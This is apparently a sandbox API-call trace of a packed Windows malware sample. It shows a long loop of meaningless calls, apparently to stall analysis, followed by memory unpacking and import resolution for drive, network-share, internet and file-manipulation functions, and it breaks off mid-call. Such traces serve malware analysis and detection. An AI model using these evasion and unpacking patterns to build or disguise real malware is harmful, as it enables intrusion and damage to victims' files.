0x0 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.316] GetLastError () returned 0x3 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.316] GetLastError () returned 0x3 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] AddAtomA (lpString=0x0) returned 0x0 [0110.316] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.316] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.316] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.316] GetLastError () returned 0x3 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.317] GetLastError () returned 0x3 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.317] GetLastError () returned 0x3 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.317] GetLastError () returned 0x3 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.317] GetLastError () returned 0x3 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.317] GetLastError () returned 0x3 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] AddAtomA (lpString=0x0) returned 0x0 [0110.317] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.317] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.317] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.318] GetLastError () returned 0x3 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.318] GetLastError () returned 0x3 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.318] GetLastError () returned 0x3 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.318] GetLastError () returned 0x3 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.318] GetLastError () returned 0x3 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.318] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.318] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.318] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.318] GetLastError () returned 0x3 [0110.318] AddAtomA (lpString=0x0) returned 0x0 [0110.319] AddAtomA (lpString=0x0) returned 0x0 [0110.319] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.319] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.319] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.319] GetLastError () returned 0x3 [0110.319] AddAtomA (lpString=0x0) returned 0x0 [0110.319] AddAtomA (lpString=0x0) returned 0x0 [0110.319] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.319] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.319] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.319] GetLastError () returned 0x3 [0110.319] AddAtomA (lpString=0x0) returned 0x0 [0110.319] AddAtomA (lpString=0x0) returned 0x0 [0110.319] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.319] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.319] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.320] GetLastError () returned 0x3 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.320] GetLastError () returned 0x3 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.320] GetLastError () returned 0x3 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.320] GetLastError () returned 0x3 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.320] GetLastError () returned 0x3 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.320] GetLastError () returned 0x3 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] AddAtomA (lpString=0x0) returned 0x0 [0110.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.321] GetLastError () returned 0x3 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.321] GetLastError () returned 0x3 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.321] GetLastError () returned 0x3 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.321] GetLastError () returned 0x3 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.321] GetLastError () returned 0x3 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.321] GetLastError () returned 0x3 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] AddAtomA (lpString=0x0) returned 0x0 [0110.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.322] GetLastError () returned 0x3 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.322] GetLastError () returned 0x3 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.322] GetLastError () returned 0x3 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.322] GetLastError () returned 0x3 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.322] GetLastError () returned 0x3 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.322] GetLastError () returned 0x3 [0110.322] AddAtomA (lpString=0x0) returned 0x0 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.323] GetLastError () returned 0x3 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.323] GetLastError () returned 0x3 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.323] GetLastError () returned 0x3 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.323] GetLastError () returned 0x3 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.323] GetLastError () returned 0x3 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] AddAtomA (lpString=0x0) returned 0x0 [0110.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.324] GetLastError () returned 0x3 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.324] GetLastError () returned 0x3 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.324] GetLastError () returned 0x3 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.324] GetLastError () returned 0x3 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.324] GetLastError () returned 0x3 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] AddAtomA (lpString=0x0) returned 0x0 [0110.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.478] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773e0000 [0110.478] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualAlloc") returned 0x773f1856 [0110.478] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualProtect") returned 0x773f435f [0110.479] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualFree") returned 0x773f186e [0110.479] GetProcAddress (hModule=0x773e0000, lpProcName="GetVersionExA") returned 0x773f3519 [0110.479] GetProcAddress (hModule=0x773e0000, lpProcName="TerminateProcess") returned 0x7740d802 [0110.479] GetVersionExA (in: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65636f72, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}¬w") | out: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0110.479] VirtualAlloc (lpAddress=0x0, dwSize=0x4ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0110.485] VirtualProtect (in: lpAddress=0x400000, dwSize=0x6a000, flNewProtect=0x40, lpflOldProtect=0x18fdc8 | out: lpflOldProtect=0x18fdc8*=0x2) returned 1 [0110.530] VirtualFree (lpAddress=0x250000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.531] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x77150000 [0110.532] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeW") returned 0x77171635 [0110.532] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringW") returned 0x77191ee5 [0110.532] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringA") returned 0x771cd918 [0110.532] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeA") returned 0x77193fc5 [0110.532] GetProcAddress (hModule=0x77150000, lpProcName="UuidCreate") returned 0x7716f48b [0110.532] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75380000 [0110.534] GetProcAddress (hModule=0x75380000, lpProcName="WNetCloseEnum") returned 0x75382dd6 [0110.534] GetProcAddress (hModule=0x75380000, lpProcName="WNetOpenEnumW") returned 0x75382f06 [0110.534] GetProcAddress (hModule=0x75380000, lpProcName="WNetEnumResourceW") returned 0x75383058 [0110.534] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75bd0000 [0110.546] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenA") returned 0x75bff18e [0110.546] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetReadFile") returned 0x75beb406 [0110.547] GetProcAddress (hModule=0x75bd0000, lpProcName="HttpQueryInfoW") returned 0x75bf5c75 [0110.547] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetCloseHandle") returned 0x75beab49 [0110.547] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenW") returned 0x75bf9197 [0110.547] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlW") returned 0x75c4be5c [0110.547] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlA") returned 0x75c130f1 [0110.547] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75340000 [0110.550] GetProcAddress (hModule=0x75340000, lpProcName="timeGetTime") returned 0x753426e0 [0110.550] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76e40000 [0110.550] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindExtensionW") returned 0x76e5a1b9 [0110.550] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindFileNameW") returned 0x76e5bb71 [0110.550] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsA") returned 0x76e7ad1a [0110.550] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendW") returned 0x76e581ef [0110.551] GetProcAddress (hModule=0x76e40000, lpProcName="PathRemoveFileSpecW") returned 0x76e53248 [0110.551] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendA") returned 0x76e4d65e [0110.551] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsW") returned 0x76e545bf [0110.551] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x773e0000 [0110.551] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatW") returned 0x7740f481 [0110.551] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatW") returned 0x774134d7 [0110.551] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesW") returned 0x7747425f [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLCID") returned 0x773f3da5 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocale") returned 0x7740ce46 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoW") returned 0x773f3c42 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="GetCommandLineW") returned 0x773f5223 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileSize") returned 0x773f196e [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="FindFirstFileW") returned 0x773f4435 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointer") returned 0x773f17d1 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenA") returned 0x773f5a4b [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="SetErrorMode") returned 0x773f1b00 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="CreateProcessW") returned 0x773f103d [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryW") returned 0x773f4259 [0110.552] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForSingleObject") returned 0x773f1136 [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalDrives") returned 0x773f5371 [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualFree") returned 0x773f186e [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="WriteFile") returned 0x773f1282 [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="GetDriveTypeA") returned 0x7740ef75 [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="OpenProcess") returned 0x773f1986 [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalAlloc") returned 0x773f588e [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemDirectoryW") returned 0x773f5063 [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="WideCharToMultiByte") returned 0x773f170d [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryW") returned 0x773f492b [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="Sleep") returned 0x773f10ff [0110.553] GetProcAddress (hModule=0x773e0000, lpProcName="CopyFileW") returned 0x7741830d [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="FormatMessageW") returned 0x773f4620 [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpynW") returned 0x7741d556 [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="ReadFile") returned 0x773f3ed3 [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileW") returned 0x773f3f5c [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatA") returned 0x77412b7a [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcmpW") returned 0x773f5929 [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="MultiByteToWideChar") returned 0x773f192e [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenW") returned 0x773f1700 [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="GetLastError") returned 0x773f11c0 [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="SetLastError") returned 0x773f11a9 [0110.554] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcAddress") returned 0x773f1222 [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualAlloc") returned 0x773f1856 [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="MoveFileW") returned 0x77409af0 [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="LocalAlloc") returned 0x773f168c [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventW") returned 0x773f183e [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatW") returned 0x7741828e [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="FindNextFileW") returned 0x773f54ee [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="CloseHandle") returned 0x773f1410 [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteFileW") returned 0x773f89b3 [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="LocalFree") returned 0x773f2d3c [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringW") returned 0x773f3bca [0110.555] GetProcAddress (hModule=0x773e0000, lpProcName="SetPriorityClass") returned 0x7740cf28 [0110.556] GetProcAddress (hModule=0x773e0000, 